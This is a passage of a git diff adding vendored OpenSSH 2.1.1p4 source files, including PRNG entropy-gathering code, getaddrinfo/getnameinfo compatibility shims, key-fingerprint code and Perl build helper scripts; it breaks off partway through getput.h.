+ close(p[1]); + close(devnull); + + setuid(original_uid); + execv(src->path, (char**)(src->args)); + debug("(child) Couldn't exec '%s': %s", src->cmdstring, + strerror(errno)); + _exit(-1); + default: /* Parent */ + break; + } + + RAND_add(&pid, sizeof(&pid), 0.0); + + close(p[1]); + + /* Hash output from child */ + SHA1_Init(&sha); + total_bytes_read = 0; + + while (!error_abort && !cmd_eof) { + int ret; + struct timeval tv; + int msec_remaining; + + (void) gettimeofday(&tv_current, 0); + msec_elapsed = _get_timeval_msec_difference(&tv_start, &tv_current); + if (msec_elapsed >= entropy_timeout_current) { + error_abort=1; + continue; + } + msec_remaining = entropy_timeout_current - msec_elapsed; + + FD_ZERO(&rdset); + FD_SET(p[0], &rdset); + tv.tv_sec = msec_remaining / 1000; + tv.tv_usec = (msec_remaining % 1000) * 1000; + + ret = select(p[0]+1, &rdset, NULL, NULL, &tv); + + RAND_add(&tv, sizeof(tv), 0.0); + + switch (ret) { + case 0: + /* timer expired */ + error_abort = 1; + break; + case 1: + /* command input */ + bytes_read = read(p[0], buf, sizeof(buf)); + RAND_add(&bytes_read, sizeof(&bytes_read), 0.0); + if (bytes_read == -1) { + error_abort = 1; + break; + } else if (bytes_read) { + SHA1_Update(&sha, buf, bytes_read); + total_bytes_read += bytes_read; + } else { + cmd_eof = 1; + } + break; + case -1: + default: + /* error */ + debug("Command '%s': select() failed: %s", src->cmdstring, + strerror(errno)); + error_abort = 1; + break; + } + } + + SHA1_Final(hash, &sha); + + close(p[0]); + +#ifdef DEBUG_ENTROPY + debug("Time elapsed: %d msec", msec_elapsed); +#endif + + if (waitpid(pid, &status, 0) == -1) { + debug("Couldn't wait for child '%s' completion: %s", src->cmdstring, + strerror(errno)); + return(0.0); + } + + RAND_add(&status, sizeof(&status), 0.0); + + if (error_abort) { + /* closing p[0] on timeout causes the entropy command to + * SIGPIPE. Take whatever output we got, and mark this command + * as slow */ + debug("Command '%s' timed out", src->cmdstring); + src->sticky_badness *= 2; + src->badness = src->sticky_badness; + return(total_bytes_read); + } + + if (WIFEXITED(status)) { + if (WEXITSTATUS(status)==0) { + return(total_bytes_read); + } else { + debug("Command '%s' exit status was %d", src->cmdstring, + WEXITSTATUS(status)); + src->badness = src->sticky_badness = 128; + return (0.0); + } + } else if (WIFSIGNALED(status)) { + debug("Command '%s' returned on uncaught signal %d !", src->cmdstring, + status); + src->badness = src->sticky_badness = 128; + return(0.0); + } else + return(0.0); +} + +/* + * prng seedfile functions + */ +int +prng_check_seedfile(char *filename) { + + struct stat st; + + /* FIXME raceable: eg replace seed between this stat and subsequent open */ + /* Not such a problem because we don't trust the seed file anyway */ + if (lstat(filename, &st) == -1) { + /* Fail on hard errors */ + if (errno != ENOENT) + fatal("Couldn't stat random seed file \"%s\": %s", filename, + strerror(errno)); + + return(0); + } + + /* regular file? */ + if (!S_ISREG(st.st_mode)) + fatal("PRNG seedfile %.100s is not a regular file", filename); + + /* mode 0600, owned by root or the current user? */ + if (((st.st_mode & 0177) != 0) || !(st.st_uid == original_uid)) + fatal("PRNG seedfile %.100s must be mode 0600, owned by uid %d", + filename, getuid()); + + return(1); +} + +void +prng_write_seedfile(void) { + int fd; + char seed[1024]; + char filename[1024]; + struct passwd *pw; + + /* Don't bother if we have already saved a seed */ + if (prng_seed_saved) + return; + + setuid(original_uid); + + prng_seed_saved = 1; + + pw = getpwuid(original_uid); + if (pw == NULL) + fatal("Couldn't get password entry for current user (%i): %s", + original_uid, strerror(errno)); + + /* Try to ensure that the parent directory is there */ + snprintf(filename, sizeof(filename), "%.512s/%s", pw->pw_dir, + SSH_USER_DIR); + mkdir(filename, 0700); + + snprintf(filename, sizeof(filename), "%.512s/%s", pw->pw_dir, + SSH_PRNG_SEED_FILE); + + debug("writing PRNG seed to file %.100s", filename); + + RAND_bytes(seed, sizeof(seed)); + + /* Don't care if the seed doesn't exist */ + prng_check_seedfile(filename); + + if ((fd = open(filename, O_WRONLY|O_TRUNC|O_CREAT, 0600)) == -1) + fatal("couldn't access PRNG seedfile %.100s (%.100s)", filename, + strerror(errno)); + + if (atomicio(write, fd, &seed, sizeof(seed)) != sizeof(seed)) + fatal("problem writing PRNG seedfile %.100s (%.100s)", filename, + strerror(errno)); + + close(fd); +} + +void +prng_read_seedfile(void) { + int fd; + char seed[1024]; + char filename[1024]; + struct passwd *pw; + + pw = getpwuid(original_uid); + if (pw == NULL) + fatal("Couldn't get password entry for current user (%i): %s", + original_uid, strerror(errno)); + + snprintf(filename, sizeof(filename), "%.512s/%s", pw->pw_dir, + SSH_PRNG_SEED_FILE); + + debug("loading PRNG seed from file %.100s", filename); + + if (!prng_check_seedfile(filename)) { + verbose("Random seed file not found, creating new"); + prng_write_seedfile(); + + /* Reseed immediatly */ + (void)stir_from_system(); + (void)stir_from_programs(); + return; + } + + /* open the file and read in the seed */ + fd = open(filename, O_RDONLY); + if (fd == -1) + fatal("could not open PRNG seedfile %.100s (%.100s)", filename, + strerror(errno)); + + if (atomicio(read, fd, &seed, sizeof(seed)) != sizeof(seed)) { + verbose("invalid or short read from PRNG seedfile %.100s - ignoring", + filename); + memset(seed, '\0', sizeof(seed)); + } + close(fd); + + /* stir in the seed, with estimated entropy zero */ + RAND_add(&seed, sizeof(seed), 0.0); +} + + +/* + * entropy command initialisation functions + */ +int +prng_read_commands(char *cmdfilename) +{ + FILE *f; + char *cp; + char line[1024]; + char cmd[1024]; + char path[256]; + int linenum; + int num_cmds = 64; + int cur_cmd = 0; + double est; + entropy_source_t *entcmd; + + f = fopen(cmdfilename, "r"); + if (!f) { + fatal("couldn't read entropy commands file %.100s: %.100s", + cmdfilename, strerror(errno)); + } + + entcmd = (entropy_source_t *)xmalloc(num_cmds * sizeof(entropy_source_t)); + memset(entcmd, '\0', num_cmds * sizeof(entropy_source_t)); + + /* Read in file */ + linenum = 0; + while (fgets(line, sizeof(line), f)) { + int arg; + char *argv; + + linenum++; + + /* skip leading whitespace, test for blank line or comment */ + cp = line + strspn(line, WHITESPACE); + if ((*cp == 0) || (*cp == '#')) + continue; /* done with this line */ + + /* First non-whitespace char should be double quote delimiting */ + /* commandline */ + if (*cp != '"') { + error("bad entropy command, %.100s line %d", cmdfilename, + linenum); + continue; + } + + /* first token, command args (incl. argv[0]) in double quotes */ + cp = strtok(cp, "\""); + if (cp == NULL) { + error("missing or bad command string, %.100s line %d -- ignored", + cmdfilename, linenum); + continue; + } + strlcpy(cmd, cp, sizeof(cmd)); + + /* second token, full command path */ + if ((cp = strtok(NULL, WHITESPACE)) == NULL) { + error("missing command path, %.100s line %d -- ignored", + cmdfilename, linenum); + continue; + } + + /* did configure mark this as dead? */ + if (strncmp("undef", cp, 5) == 0) + continue; + + strlcpy(path, cp, sizeof(path)); + + /* third token, entropy rate estimate for this command */ + if ((cp = strtok(NULL, WHITESPACE)) == NULL) { + error("missing entropy estimate, %.100s line %d -- ignored", + cmdfilename, linenum); + continue; + } + est = strtod(cp, &argv); + + /* end of line */ + if ((cp = strtok(NULL, WHITESPACE)) != NULL) { + error("garbage at end of line %d in %.100s -- ignored", linenum, + cmdfilename); + continue; + } + + /* save the command for debug messages */ + entcmd[cur_cmd].cmdstring = xstrdup(cmd); + + /* split the command args */ + cp = strtok(cmd, WHITESPACE); + arg = 0; + argv = NULL; + do { + char *s = (char*)xmalloc(strlen(cp) + 1); + strncpy(s, cp, strlen(cp) + 1); + entcmd[cur_cmd].args[arg] = s; + arg++; + } while ((arg < 5) && (cp = strtok(NULL, WHITESPACE))); + + if (strtok(NULL, WHITESPACE)) + error("ignored extra command elements (max 5), %.100s line %d", + cmdfilename, linenum); + + /* Copy the command path and rate estimate */ + entcmd[cur_cmd].path = xstrdup(path); + entcmd[cur_cmd].rate = est; + + /* Initialise other values */ + entcmd[cur_cmd].sticky_badness = 1; + + cur_cmd++; + + /* If we've filled the array, reallocate it twice the size */ + /* Do this now because even if this we're on the last command, + we need another slot to mark the last entry */ + if (cur_cmd == num_cmds) { + num_cmds *= 2; + entcmd = xrealloc(entcmd, num_cmds * sizeof(entropy_source_t)); + } + } + + /* zero the last entry */ + memset(&entcmd[cur_cmd], '\0', sizeof(entropy_source_t)); + + /* trim to size */ + entropy_sources = xrealloc(entcmd, (cur_cmd+1) * sizeof(entropy_source_t)); + + debug("Loaded %d entropy commands from %.100s", cur_cmd, cmdfilename); + + return (cur_cmd >= MIN_ENTROPY_SOURCES); +} + +/* + * Write a keyfile at exit + */ +void +prng_seed_cleanup(void *junk) +{ + prng_write_seedfile(); +} + +/* + * Conditionally Seed OpenSSL's random number pool from + * syscalls and program output + */ +void +seed_rng(void) +{ + void *old_sigchld_handler; + + if (!prng_initialised) + fatal("RNG not initialised"); + + /* Make sure some other sigchld handler doesn't reap our entropy */ + /* commands */ + old_sigchld_handler = signal(SIGCHLD, SIG_DFL); + + debug("Seeded RNG with %i bytes from programs", (int)stir_from_programs()); + debug("Seeded RNG with %i bytes from system calls", (int)stir_from_system()); + + if (!RAND_status()) + fatal("Not enough entropy in RNG"); + + signal(SIGCHLD, old_sigchld_handler); + + if (!RAND_status()) + fatal("Couldn't initialise builtin random number generator -- exiting."); +} + +void init_rng(void) +{ + original_uid = getuid(); + + /* Read in collection commands */ + if (!prng_read_commands(SSH_PRNG_COMMAND_FILE)) + fatal("PRNG initialisation failed -- exiting."); + + /* Set ourselves up to save a seed upon exit */ + prng_seed_saved = 0; + prng_read_seedfile(); + fatal_add_cleanup(prng_seed_cleanup, NULL); + atexit(prng_write_seedfile); + + prng_initialised = 1; +} + +#endif /* defined(EGD_SOCKET) || defined(RANDOM_POOL) */ diff --git a/other/openssh-2.1.1p4/entropy.h b/other/openssh-2.1.1p4/entropy.h new file mode 100644 index 0000000..a6f7bfc --- /dev/null +++ b/other/openssh-2.1.1p4/entropy.h @@ -0,0 +1,36 @@ +/* + * Copyright (c) 1999-2000 Damien Miller. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Markus Friedl. + * 4. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#ifndef _RANDOMS_H +#define _RANDOMS_H + +void seed_rng(void); +void init_rng(void); + +#endif /* _RANDOMS_H */ diff --git a/other/openssh-2.1.1p4/fake-gai-errnos.h b/other/openssh-2.1.1p4/fake-gai-errnos.h new file mode 100644 index 0000000..27f6089 --- /dev/null +++ b/other/openssh-2.1.1p4/fake-gai-errnos.h @@ -0,0 +1,12 @@ +/* + * fake library for ssh + * + * This file is included in getaddrinfo.c and getnameinfo.c. + * See getaddrinfo.c and getnameinfo.c. + */ + +/* for old netdb.h */ +#ifndef EAI_NODATA +#define EAI_NODATA 1 +#define EAI_MEMORY 2 +#endif diff --git a/other/openssh-2.1.1p4/fake-getaddrinfo.c b/other/openssh-2.1.1p4/fake-getaddrinfo.c new file mode 100644 index 0000000..73c122e --- /dev/null +++ b/other/openssh-2.1.1p4/fake-getaddrinfo.c @@ -0,0 +1,119 @@ +/* + * fake library for ssh + * + * This file includes getaddrinfo(), freeaddrinfo() and gai_strerror(). + * These funtions are defined in rfc2133. + * + * But these functions are not implemented correctly. The minimum subset + * is implemented for ssh use only. For exapmle, this routine assumes + * that ai_family is AF_INET. Don't use it for another purpose. + */ + +#include "includes.h" +#include "ssh.h" + +#ifndef HAVE_GAI_STRERROR +char *gai_strerror(int ecode) +{ + switch (ecode) { + case EAI_NODATA: + return "no address associated with hostname."; + case EAI_MEMORY: + return "memory allocation failure."; + default: + return "unknown error."; + } +} +#endif /* !HAVE_GAI_STRERROR */ + +#ifndef HAVE_FREEADDRINFO +void freeaddrinfo(struct addrinfo *ai) +{ + struct addrinfo *next; + + do { + next = ai->ai_next; + free(ai); + } while (NULL != (ai = next)); +} +#endif /* !HAVE_FREEADDRINFO */ + +#ifndef HAVE_GETADDRINFO +static struct addrinfo *malloc_ai(int port, u_long addr) +{ + struct addrinfo *ai; + + ai = malloc(sizeof(struct addrinfo) + sizeof(struct sockaddr_in)); + if (ai == NULL) + return(NULL); + + memset(ai, 0, sizeof(struct addrinfo) + sizeof(struct sockaddr_in)); + + ai->ai_addr = (struct sockaddr *)(ai + 1); + /* XXX -- ssh doesn't use sa_len */ + ai->ai_addrlen = sizeof(struct sockaddr_in); + ai->ai_addr->sa_family = ai->ai_family = AF_INET; + + ((struct sockaddr_in *)(ai)->ai_addr)->sin_port = port; + ((struct sockaddr_in *)(ai)->ai_addr)->sin_addr.s_addr = addr; + + return(ai); +} + +int getaddrinfo(const char *hostname, const char *servname, + const struct addrinfo *hints, struct addrinfo **res) +{ + struct addrinfo *cur, *prev = NULL; + struct hostent *hp; + struct in_addr in; + int i, port; + + if (servname) + port = htons(atoi(servname)); + else + port = 0; + + if (hints && hints->ai_flags & AI_PASSIVE) { + if (NULL != (*res = malloc_ai(port, htonl(0x00000000)))) + return 0; + else + return EAI_MEMORY; + } + + if (!hostname) { + if (NULL != (*res = malloc_ai(port, htonl(0x7f000001)))) + return 0; + else + return EAI_MEMORY; + } + + if (inet_aton(hostname, &in)) { + if (NULL != (*res = malloc_ai(port, in.s_addr))) + return 0; + else + return EAI_MEMORY; + } + + hp = gethostbyname(hostname); + if (hp && hp->h_name && hp->h_name[0] && hp->h_addr_list[0]) { + for (i = 0; hp->h_addr_list[i]; i++) { + cur = malloc_ai(port, ((struct in_addr *)hp->h_addr_list[i])->s_addr); + if (cur == NULL) { + if (*res) + freeaddrinfo(*res); + return EAI_MEMORY; + } + + if (prev) + prev->ai_next = cur; + else + *res = cur; + + prev = cur; + } + return 0; + } + + return EAI_NODATA; +} +#endif /* !HAVE_GETADDRINFO */ diff --git a/other/openssh-2.1.1p4/fake-getaddrinfo.h b/other/openssh-2.1.1p4/fake-getaddrinfo.h new file mode 100644 index 0000000..7da8714 --- /dev/null +++ b/other/openssh-2.1.1p4/fake-getaddrinfo.h @@ -0,0 +1,45 @@ +#ifndef _FAKE_GETADDRINFO_H +#define _FAKE_GETADDRINFO_H + +#include "config.h" + +#include "fake-gai-errnos.h" + +#ifndef AI_PASSIVE +# define AI_PASSIVE 1 +# define AI_CANONNAME 2 +#endif + +#ifndef NI_NUMERICHOST +# define NI_NUMERICHOST 2 +# define NI_NAMEREQD 4 +# define NI_NUMERICSERV 8 +#endif + +#ifndef HAVE_STRUCT_ADDRINFO +struct addrinfo { + int ai_flags; /* AI_PASSIVE, AI_CANONNAME */ + int ai_family; /* PF_xxx */ + int ai_socktype; /* SOCK_xxx */ + int ai_protocol; /* 0 or IPPROTO_xxx for IPv4 and IPv6 */ + size_t ai_addrlen; /* length of ai_addr */ + char *ai_canonname; /* canonical name for hostname */ + struct sockaddr *ai_addr; /* binary address */ + struct addrinfo *ai_next; /* next structure in linked list */ +}; +#endif /* !HAVE_STRUCT_ADDRINFO */ + +#ifndef HAVE_GETADDRINFO +int getaddrinfo(const char *hostname, const char *servname, + const struct addrinfo *hints, struct addrinfo **res); +#endif /* !HAVE_GETADDRINFO */ + +#ifndef HAVE_GAI_STRERROR +char *gai_strerror(int ecode); +#endif /* !HAVE_GAI_STRERROR */ + +#ifndef HAVE_FREEADDRINFO +void freeaddrinfo(struct addrinfo *ai); +#endif /* !HAVE_FREEADDRINFO */ + +#endif /* _FAKE_GETADDRINFO_H */ diff --git a/other/openssh-2.1.1p4/fake-getnameinfo.c b/other/openssh-2.1.1p4/fake-getnameinfo.c new file mode 100644 index 0000000..867cf90 --- /dev/null +++ b/other/openssh-2.1.1p4/fake-getnameinfo.c @@ -0,0 +1,53 @@ +/* + * fake library for ssh + * + * This file includes getnameinfo(). + * These funtions are defined in rfc2133. + * + * But these functions are not implemented correctly. The minimum subset + * is implemented for ssh use only. For exapmle, this routine assumes + * that ai_family is AF_INET. Don't use it for another purpose. + */ + +#include "includes.h" +#include "ssh.h" + +#ifndef HAVE_GETNAMEINFO +int getnameinfo(const struct sockaddr *sa, size_t salen, char *host, + size_t hostlen, char *serv, size_t servlen, int flags) +{ + struct sockaddr_in *sin = (struct sockaddr_in *)sa; + struct hostent *hp; + char tmpserv[16]; + + if (serv) { + snprintf(tmpserv, sizeof(tmpserv), "%d", ntohs(sin->sin_port)); + if (strlen(tmpserv) > servlen) + return EAI_MEMORY; + else + strcpy(serv, tmpserv); + } + + if (host) { + if (flags & NI_NUMERICHOST) { + if (strlen(inet_ntoa(sin->sin_addr)) > hostlen) + return EAI_MEMORY; + + strcpy(host, inet_ntoa(sin->sin_addr)); + return 0; + } else { + hp = gethostbyaddr((char *)&sin->sin_addr, + sizeof(struct in_addr), AF_INET); + if (hp == NULL) + return EAI_NODATA; + + if (strlen(hp->h_name) > hostlen) + return EAI_MEMORY; + + strcpy(host, hp->h_name); + return 0; + } + } + return 0; +} +#endif /* !HAVE_GETNAMEINFO */ diff --git a/other/openssh-2.1.1p4/fake-getnameinfo.h b/other/openssh-2.1.1p4/fake-getnameinfo.h new file mode 100644 index 0000000..0d25f42 --- /dev/null +++ b/other/openssh-2.1.1p4/fake-getnameinfo.h @@ -0,0 +1,18 @@ +#ifndef _FAKE_GETNAMEINFO_H +#define _FAKE_GETNAMEINFO_H + +#include "config.h" + +#ifndef HAVE_GETNAMEINFO +int getnameinfo(const struct sockaddr *sa, size_t salen, char *host, + size_t hostlen, char *serv, size_t servlen, int flags); +#endif /* !HAVE_GETNAMEINFO */ + +#ifndef NI_MAXSERV +# define NI_MAXSERV 32 +#endif /* !NI_MAXSERV */ +#ifndef NI_MAXHOST +# define NI_MAXHOST 1025 +#endif /* !NI_MAXHOST */ + +#endif /* _FAKE_GETNAMEINFO_H */ diff --git a/other/openssh-2.1.1p4/fake-socket.h b/other/openssh-2.1.1p4/fake-socket.h new file mode 100644 index 0000000..0e1624d --- /dev/null +++ b/other/openssh-2.1.1p4/fake-socket.h @@ -0,0 +1,49 @@ +#ifndef _FAKE_SOCKET_H +#define _FAKE_SOCKET_H + +#include "config.h" +#include "sys/types.h" + +#ifndef HAVE_STRUCT_SOCKADDR_STORAGE +# define _SS_MAXSIZE 128 /* Implementation specific max size */ +# define _SS_ALIGNSIZE (sizeof(int)) +# define _SS_PAD1SIZE (_SS_ALIGNSIZE - sizeof(u_short)) +# define _SS_PAD2SIZE (_SS_MAXSIZE - (sizeof(u_short) + \ + _SS_PAD1SIZE + _SS_ALIGNSIZE)) + +struct sockaddr_storage { + u_short ss_family; + char __ss_pad1[_SS_PAD1SIZE]; + int __ss_align; + char __ss_pad2[_SS_PAD2SIZE]; +}; +#endif /* !HAVE_STRUCT_SOCKADDR_STORAGE */ + +#ifndef IN6_IS_ADDR_LOOPBACK +# define IN6_IS_ADDR_LOOPBACK(a) \ + (((u_int32_t *) (a))[0] == 0 && ((u_int32_t *) (a))[1] == 0 && \ + ((u_int32_t *) (a))[2] == 0 && ((u_int32_t *) (a))[3] == htonl (1)) +#endif /* !IN6_IS_ADDR_LOOPBACK */ + +#ifndef HAVE_STRUCT_IN6_ADDR +struct in6_addr { + u_int8_t s6_addr[16]; +}; +#endif /* !HAVE_STRUCT_IN6_ADDR */ + +#ifndef HAVE_STRUCT_SOCKADDR_IN6 +struct sockaddr_in6 { + unsigned short sin6_family; + u_int16_t sin6_port; + u_int32_t sin6_flowinfo; + struct in6_addr sin6_addr; +}; +#endif /* !HAVE_STRUCT_SOCKADDR_IN6 */ + +#ifndef AF_INET6 +/* Define it to something that should never appear */ +#define AF_INET6 AF_MAX +#endif + +#endif /* !_FAKE_SOCKET_H */ + diff --git a/other/openssh-2.1.1p4/fingerprint.c b/other/openssh-2.1.1p4/fingerprint.c new file mode 100644 index 0000000..801f6a6 --- /dev/null +++ b/other/openssh-2.1.1p4/fingerprint.c @@ -0,0 +1,69 @@ +/* + * Copyright (c) 1999 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Markus Friedl. + * 4. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" +RCSID("$OpenBSD: fingerprint.c,v 1.7 2000/06/20 01:39:41 markus Exp $"); + +#include "ssh.h" +#include "xmalloc.h" +#include + +#define FPRINT "%02x:%02x:%02x:%02x:%02x:%02x:%02x:%02x:%02x:%02x:%02x:%02x:%02x:%02x:%02x:%02x" + +/* + * Generate key fingerprint in ascii format. + * Based on ideas and code from Bjoern Groenvall + */ +char * +fingerprint(BIGNUM *e, BIGNUM *n) +{ + static char retval[80]; + MD5_CTX md; + unsigned char d[16]; + unsigned char *buf; + int nlen, elen; + + nlen = BN_num_bytes(n); + elen = BN_num_bytes(e); + + buf = xmalloc(nlen + elen); + + BN_bn2bin(n, buf); + BN_bn2bin(e, buf + nlen); + + MD5_Init(&md); + MD5_Update(&md, buf, nlen + elen); + MD5_Final(d, &md); + snprintf(retval, sizeof(retval), FPRINT, + d[0], d[1], d[2], d[3], d[4], d[5], d[6], d[7], + d[8], d[9], d[10], d[11], d[12], d[13], d[14], d[15]); + memset(buf, 0, nlen + elen); + xfree(buf); + return retval; +} diff --git a/other/openssh-2.1.1p4/fingerprint.h b/other/openssh-2.1.1p4/fingerprint.h new file mode 100644 index 0000000..3d7bcb3 --- /dev/null +++ b/other/openssh-2.1.1p4/fingerprint.h @@ -0,0 +1,34 @@ +/* + * Copyright (c) 1999 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Markus Friedl. + * 4. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +/* RCSID("$OpenBSD: fingerprint.h,v 1.4 2000/06/20 01:39:41 markus Exp $"); */ + +#ifndef FINGERPRINT_H +#define FINGERPRINT_H +char *fingerprint(BIGNUM * e, BIGNUM * n); +#endif diff --git a/other/openssh-2.1.1p4/fixpaths b/other/openssh-2.1.1p4/fixpaths new file mode 100755 index 0000000..4badd98 --- /dev/null +++ b/other/openssh-2.1.1p4/fixpaths @@ -0,0 +1,50 @@ +#!/usr/bin/perl -w +# +# fixpaths - substitute makefile variables into text files + + +$usage = "Usage: $0 [-x] [-Dstring=replacement] [[infile] ...]\n"; + +$ext="out"; + +if (!defined(@ARGV)) { die ("$usage"); } + +# read in the command line and get some definitions +while ($_=$ARGV[0], /^-/) { + if (/^-[Dx]/) { + # definition + shift(@ARGV); + if ( /-D(.*)=(.*)/ ) { + $def{"$1"}=$2; + } elsif ( /-x\s*(\w+)/ ) { + $ext=$1; + } else { + die ("$usage$0: error in command line arguments.\n"); + } + } else { + @cmd = split(//, $ARGV[0]); $opt = $cmd[1]; + die ("$usage$0: unknown option '-$opt'\n"); + } +} # while parsing arguments + +if (!defined(%def)) { + die ("$0: nothing to do - no substitutions listed!\n"); +} + +for $f (@ARGV) { + + $f =~ /(.*\/)*(.*)$/; + $of = $2.".$ext"; + + open(IN, "<$f") || die ("$0: input file $f missing!\n"); + if (open(OUT, ">$of")) { + while () { + for $s (keys(%def)) { + s#$s#$def{$s}#; + } # for $s + print OUT; + } # while + } # if (outfile open) +} # for $f + +exit 0; diff --git a/other/openssh-2.1.1p4/fixprogs b/other/openssh-2.1.1p4/fixprogs new file mode 100755 index 0000000..4a70d2f --- /dev/null +++ b/other/openssh-2.1.1p4/fixprogs @@ -0,0 +1,72 @@ +#!/usr/bin/perl +# +# fixprogs - run through the list of entropy commands and +# score out the losers +# + +$entscale = 50; # divisor for optional entropy measurement + +sub usage { + return("Usage: $0 \n"); +} + +if (($#ARGV == -1) || ($#ARGV>1)) { + die(&usage); +} + +# 'undocumented' option - run ent (in second param) on the output +if ($#ARGV==1) { + $entcmd=$ARGV[1] +} else { + $entcmd = "" +}; + +$infilename = $ARGV[0]; + +if (!open(IN, "<".$infilename)) { + die("Couldn't open input file"); +} +$outfilename=$infilename.".out"; +if (!open(OUT, ">$outfilename")) { + die("Couldn't open output file $outfilename"); +} +@infile=; + +select(OUT); $|=1; select(STDOUT); + +foreach (@infile) { + if (/^\s*\#/ || /^\s*$/) { + print OUT; + next; + } + ($cmd, $path, $est) = /^\"([^\"]+)\"\s+([\w\/_-]+)\s+([\d\.\-]+)/o; + @args = split(/ /, $cmd); + if (! ($pid = fork())) { + # child + close STDIN; close STDOUT; close STDERR; + open STDIN, "/dev/null"; + open STDERR, ">/dev/null"; + exec $path @args; + exit 1; # shouldn't be here + } + # parent + waitpid ($pid, 0); $ret=$? >> 8; + + if ($ret != 0) { + $path = "undef"; + } else { + if ($entcmd ne "") { + # now try to run ent on the command + $mostargs=join(" ", splice(@args,1)); + print "Evaluating '$path $mostargs'\n"; + @ent = qx{$path $mostargs | $entcmd -b -t}; + @ent = grep(/^1,/, @ent); + ($null, $null, $rate) = split(/,/, $ent[0]); + $est = $rate / $entscale; # scale the estimate back + } + } + print OUT "\"$cmd\" $path $est\n"; +} + +close(IN); diff --git a/other/openssh-2.1.1p4/getput.h b/other/openssh-2.1.1p4/getput.h new file mode 100644 index 0000000..5f6b141 --- /dev/null +++ b/other/openssh-2.1.1p4/getput.h @@ -0,0 +1,63 @@ +/* + * + * getput.h + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Wed Jun 28 22:36:30 1995 ylo + * + * Macros for storing and retrieving data in msb first and lsb first order. + * + */ + +/* RCSID("$OpenBSD: getput.h,v 1.4 2000/06/20 01:39:41 markus Exp $"); */ + +#ifndef GETPUT_H +#define GETPUT_H + +/*------------ macros for storing/extracting msb first words -------------*/ + +#define GET_32BIT(cp) (((unsigned long)(unsigned char)(cp)[0] << 24) | \ + ((unsigned long)(unsigned char)(cp)[1] << 16) | \ + ((unsigned long)(unsigned char)(cp)[2] << 8) | \ + ((unsigned long)(unsigned char)(cp)[3])) + +#define GET_16BIT(cp) (((unsigned long)(unsigned char)(cp)[0] << 8) | \ + ((unsigned long)(unsigned char)(cp)[1])) + +#define 